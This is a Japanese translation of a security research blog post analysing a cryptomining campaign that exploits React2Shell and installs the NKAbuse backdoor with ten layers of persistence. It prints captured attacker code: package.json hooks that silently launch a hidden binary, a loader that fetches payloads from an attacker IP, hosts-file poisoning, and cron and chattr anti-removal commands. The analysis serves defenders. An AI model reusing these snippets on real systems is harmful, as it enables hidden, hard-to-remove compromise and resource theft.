React2Shellからハードキル不可なクリプトジャッキングへ:10層の生存メカニズム

React2Shell (CVE-2025-55182)を悪用するライブXMRigキャンペーンを分析しました。攻撃者は、ほぼすべてのクリーンアップ試行から生き残るように設計されたインフラレベルのマルウェアと、React2Shell CVEを組み合わせました。

persistence-stack

攻撃チェーンと初期侵害

2025年12月の調査中に、React Server ComponentsおよびReact 19.0.0–19.2.0のServer Functionsに影響を与える重大なRCEであるReact2Shellを悪用するキャンペーンが観察されました。

影響を受けたインスタンスは、Cloudflareの前に配置されており、開示前日(2025年12月2日)からWAF保護が有効でした。しかし、悪用はまだ成功し、WAFカバレッジだけでは不十分な場合があることを示しています。

React2ShellはCVSS 10.0を持ち、開示時にワイルドで積極的に悪用されていました。悪用後、攻撃者はpackage.jsonを変更して、信頼されたdevelopment/runtimeワークフローを武器化するための実行権を取得しました。その後、攻撃者は一般的なインシデント対応手順から生き残る永続メカニズムを確立しました。

React2Shell:開発パイプラインの武器化

React2Shell (CVE-2025-55182 / CVSS 10.0)は、React 19.0.0、19.1.0、19.1.1、19.2.0のReact Server Componentsに影響を与え、既にワイルドで悪用されています。

このキャンペーンの最も革新的な側面は、合法的なdevelopmentワークフローの悪用にあります。package.jsonスクリプト定義に悪意のあるコマンドを挿入することで、攻撃者は通常の開発者活動がペイロード実行をトリガーすることを保証しました。分析した侵害された環境では、package.jsonファイルは、ルーチン操作中に実行される複数の悪意のあるスクリプトフックを含むように変更されていました。

{
  "scripts": {
  "dev": "nohup /var/tmp/.font/n0de > /dev/null 2>&1 & next dev --turbopack",
  "build": "next build",
  "start": "nohup /var/tmp/.font/n0de > /dev/null 2>&1 & next start",
  "lint": "next lint"
}
}

devスクリプトは、通常、ローカルdevelopmentサーバーを実行している開発者によって毎日数十回呼び出されますが、正当なNext.js開発サーバーを起動する前に、隠された/var/tmp/.font/ディレクトリにある悪意のあるn0deバイナリを静かに起動するように変更されました。ドット付きディレクトリの使用により、ペイロードは一時的なシステムアーティファクトと混在し、カジュアル検査を回避することができました。出力は完全に/dev/nullにリダイレクトされ、プロセスが目に見えるインジケーターなしで実行されることを保証しました。

同様に、startスクリプトは、本番環境でアプリケーションが起動されるたびに実行され、Next.jsサービスを開始する前に.fontディレクトリから同じバックドアバイナリを再実行するように変更されました。これにより、マイナーまたはバックドアプロセスが以前に終了されていたとしても、再起動、デプロイ、および運用復旧全体での再感染が保証されました。

注目すべきは、buildおよびlintスクリプトはそのまま残され、CI/CDレビューまたは自動チェック中の検出の可能性が低下しました。永続性を一般的に使用されるruntimeコマンド(devおよびstart)に限定し、バイナリを通常は一時ファイルと関連付けられたディレクトリに隠すことで、攻撃者はノイズを最小化しながら、開発環境と本番環境の両方で確実な実行を維持しました。

この手法は、ルーチンアプリケーションライフサイクルコマンドを永続メカニズムとして効果的に武器化しました。実行中のホストからcryptominerを削除した防御者は、開発者がローカル環境を再起動したり、サービスが再デプロイされたりするとすぐに繰り返し再感染しました。攻撃者は信頼されたDevOpsワークフローとファイルシステム慣例を悪用し、標準的な運用慣例を耐久性のあるステルス永続ベクトルに変えました。

ペイロード分析:NKN上の静的Goバックドア (NKAbuse)

このキャンペーンのファイルエントリーポイントは、n0deという名前のバイナリであり、プライマリバックドアコンポーネントとして機能します。その洗練された機能にもかかわらず、バイナリはアンチウイルス検出の顕著な回避を示しています。調査時のVirusTotal分析は、すべてのスキャンエンジンの中からKasperskyからの単一検出のみを示しましたが、ANY.RUNサンドボックス分析は動的実行中にゼロ検出を報告しました

バイナリはKasperskyによって「HEUR:Backdoor.Linux.NKAbuse.a」として検出され、ANY.RUNはmainnet-seed-0001.nkn.orgなどの一般的なNKNバックドアシードノードトラフィックを報告します。リバースエンジニアリングはn0deが静的にコンパイルされたGoバックドアであることを確認しました。

バックドアは、コマンドアンドコントロール通信にNKN分散インフラストラクチャを活用しました。このアーキテクチャの決定は、従来のC2チャネルよりも大幅な運用セキュリティ改善を表しています。

NKNのピアツーピアネットワークを利用し、分散シードノード経由でピアを解決することで、攻撃者はインフラストラクチャテイクダウンのリスクを大幅に削減しました。従来のC2インフラストラクチャは一度識別されると没収またはブロックすることができますが、分散ネットワークは法執行またはセキュリティ研究者がターゲットにする単一の障害点を提示していません。

バックドアは、bashスクリプトauto-upgrade.shを通じてマイナーを配備し、複数の永続メカニズムも埋め込んでいます。マイナー展開ハンドラーは、異種インフラストラクチャ全体にアーキテクチャ固有のマイニングペイロードの配布を管理しました。

プロセスハンティング機能は継続的に競合するcryptominersをスキャンし、攻撃者独自のマイニング活動のための利用可能なCPUリソースを最大化するために競合操作を終了しました。

ペイロードには、x86_64/amd64およびarm64/armv7アーキテクチャ用に最適化された個別のドロッパーが含まれており、従来のx86サーバー、クラウドインスタンス、およびますます一般的なARMベースのシステムを含む様々なインフラストラクチャ全体での効果的な操作が可能になります。このクロスアーキテクチャ機能は、攻撃者がコンテナオーケストレーションプラットフォームとクラウドネイティブ環境を侵害することを予想していることを示唆しており、混合アーキテクチャがますます一般的になっています。

これはマイナー以上のものでした。再構築と環境間の移動から生き残るために構築されたインフラレベルのマルウェアでした。

  • Application: 悪意のあるnpmライフサイクルスクリプトはペイロードを再デプロイします。base64リビルダーは他のレイヤーを再作成します。
  • Execution: アーキテクチャ固有のローダーは、書き込み可能で実行可能なマウントをトラバースしてバイナリをステージします。
  • Network/Hosts: Hostsファイルポイズニングは競合するプールをブロックします。NKNベースのC2はテイクダウンを回避します。
  • Process Control: 高CPU または重複マイナーをハントし、バイナリをゼロにして、変更不可フラグを適用します。
  • Delivery: 最小限のHTTPフェッチャー(__gogo)とcurl/wgetフォールバック。実行前のマルチハッシュ検証。
  • Persistence (user): 変更された~/.bashrc~/.profileはシェル開始時にbase64ペイロードを実行します。
  • Persistence (system): 再起動時のCronおよび/etc/cron.d/auto-upgradeはローダーからシードされます。
  • Udev: ネットワークインターフェースのudevルールは、cronペイロードを再インストールするために難読化されたコマンドをrootとして実行します。
  • Anti-removal: ファイルとcronエントリでchattr +iを使用して、削除に耐性があります。
  • Recon/Selection: アーキテクチャチェック(x86_64/amd64、arm64/armv7)は、マッチするペイロードURLおよびハッシュを選択します。

キーローダー動作

デプロイメントスクリプトからキャプチャされたコアローダー機能は、アクターがペイロードをフェッチし、競合するプールをブロックし、実行前にバイナリを検証した方法を示しています:

# nc経由の最小限のフェッチャー。必要に応じてcurl/wgetにフォールバック
__gogo() { host=$(echo "$1"|sed 's|http://||;s|/.*||'); port=$(echo "$host"|grep -o ':[0-9]*$'|tr -d ':'); host=$(echo "$host"|sed 's|:.*||'); path=/$(echo "$1"|sed 's|http://[^/]*/\\?||'); printf 'GET %s HTTP/1.0\\r\\nHost: %s\\r\\n\\r\\n' "$path" "$host" | nc "$host" "${port:-80}" | sed '1,/^\\r$/d'; }
# 競合するプールのためのHostsポイズニング(攻撃者プールに到達可能にするためにc3poolエントリが削除されました)
grep -q "#####" /etc/hosts || echo -e "\\n#####\\n127.0.0.1 pool.minexmr.com ... rx.unmineable.com" | tee -a /etc/hosts
# アーキテクチャ認識ダウンロードおよびハッシュ検証
[ "$A" = "x86_64" ] && U="http://107.174.70.106/1" && sha256="68de36..." && md5="bef192..." && cksum="1392796854 3287816"
ver() { f="$1"; { [ -n "$sha256" ] && a=$(sha256sum "$f" 2>/dev/null||shasum -a 256 "$f" 2>/dev/null) && [ "${a%% *}" = "$sha256" ]; } || { [ -n "$md5" ] && a=$(md5sum "$f" 2>/dev/null||md5 -q "$f" 2>/dev/null) && [ "${a%% *}" = "$md5" ]; } || { [ -n "$cksum" ] && a=$(cksum "$f" 2>/dev/null) && [ "${a%% *} ${a#* }" = "$cksum" ]; }; }

システムレイヤー

システムレベルの永続性は、cronジョブとudevルールを含む複数のメカニズムを通じて確立されました。さらに、ユーザーシェルスタートアップ設定ファイル(~/.bashrc~/.profile)は、すべてのシェル初期化時にBase64難読化コマンドを実行するように変更され、攻撃者に継続的にトリガーされる永続的なユーザーレベルのフットホールドを提供しました。

下でキャプチャされたcronジョブ/home/.cache/logfirewallsvcから再起動時に実行され、スケジュールでペイロードを再フェッチしながら良性のサービスとして隠れていました。

永続チェーンは再帰的な性質を持っています:udevルールはrootレベルのcronジョブをインストールし、cronジョブはスケジュールでペイロードを再フェッチして再インストールします。この相互強化により、単一の永続メカニズムの削除は不十分であることが保証されます。これは、残りのコンポーネントが再起動またはネットワークイベント時に欠落している要素を自動的に復元するためです

ペアのudevルールは、ネットワークインターフェースが追加されるたびにBase64難読化コマンドをrootとして実行し、/etc/cron.d/auto-upgradeにrootレベルのcronジョブを書き込みさえしました。これにより、すべてのブートまたはネットワーク変更後の再感染が保証されました。

防御レイヤー

防御層は、複数の反分析および反競争対策を実装しました。マルウェアはLinuxのchattr コマンドを利用して重要なファイルに変更不可フラグを設定し、属性が明示的に削除されるまでrootユーザーによっても削除されることを防止しました。/etc/hostsファイルは、数十の競合するマイニングプール用のlocalhostマッピングでポイズニングされ(上記のスクリプト抜粋に示されている)、実行を獲得した場合でも競合するcryptominersが機能することを効果的にブロックしました。プロセスハンティングルーチンは、競合するマイナーのシグネチャについてプロセステーブルを継続的にスキャンし、それらをすぐに終了し、ディスク上のバイナリを変更不可属性で保護されたゼロバイトファイルに置き換え、バイナリをゼロにしてロックダウンする実行層スニペットに反映されました。

キャプチャされた防御ロジックは、攻撃者がクリーンアップに対してシステムをロックする方法を示しています:

# 既存のcronエントリを削除し、ファイルを編集に対してロック
find /etc/cron* /var/spool/cron* -type f \
  -exec chmod ugo+w {} + -exec chattr -i -a {} + \
  -exec sed -i "/reboot/d" {} +
# 競合するバイナリをゼロにして凍結
touch "$b" && chmod 000 "$b" && chattr +i "$b"

削除が失敗する理由

  • Cronはペアのudevルールが削除されない限り、cronジョブを通じてバイナリを復活させます。
  • Udevはすべてのネットワークイベントでcronを再インストールし、ワンタイムクリーンアップをバイパスします。
  • package.jsonフックは、元に戻されない場合、次のCI/CD実行でペイロードを再ドロップします。
  • バイナリおよびcronファイルの変更不可フラグはクリアされるまで削除をブロックします。
  • 部分的な修正は誤った自信を生み出します。完全な再構築が必要な場合が多いです。

運用上の影響

直接的な計算コストを超えて、このキャンペーンは重大な間接的な運用影響を生成します。永続的なcompute drainはアプリケーション性能を低下させ、インフラストラクチャ費用を増加させます。特にCPU消費がビリングに直接影響するクラウド環境では。

マイナーは意図的に少なくとも1つのCPUコアをアイドル状態に保つことで、正当なワークロードを中断しないようにし、操作が長期間検出されないままで持続することを可能にします。

部分的な修復後の繰り返しの再感染は、インシデント対応チームに継続的な負担を置きます。検出、分析、およびクリーンアップの各サイクルはアナリスト時間を消費し、システムダウンタイムを引き起こします。

多層永続メカニズムに不慣れな組織は、完全な根絶には信頼できるイメージからの完全なインフラ再構築が必要であることを認識する前に、効果のない修復試行を繰り返すことがしばしばあります。

最も重要なことに、表面的な修復から生じる誤った自信は追加のリスクを導入します。初期クリーンアップが成功し、プロセスが終了し、明らかなアーティファクトが削除されると見えるとき、防御者は監視を減らし、通常の操作を再開する可能性があります。その後、潜在的な永続メカニズムはマイニングペイロードを復元し、攻撃者はフットホールドを維持し、注目されないままでcryptojacking活動を継続することができます。

この研究は、インターネットを防御者にとってより安全にするための継続的な努力の一部として、Beelzebubチームによって実施されました。

参考文献

CVE詳細

ANY.RUN分析

React2ShellのCloudflare WAFルール

翻訳元: https://beelzebub.ai/blog/react2shell-cryptominer-persistence-campaign/

ソース: beelzebub.ai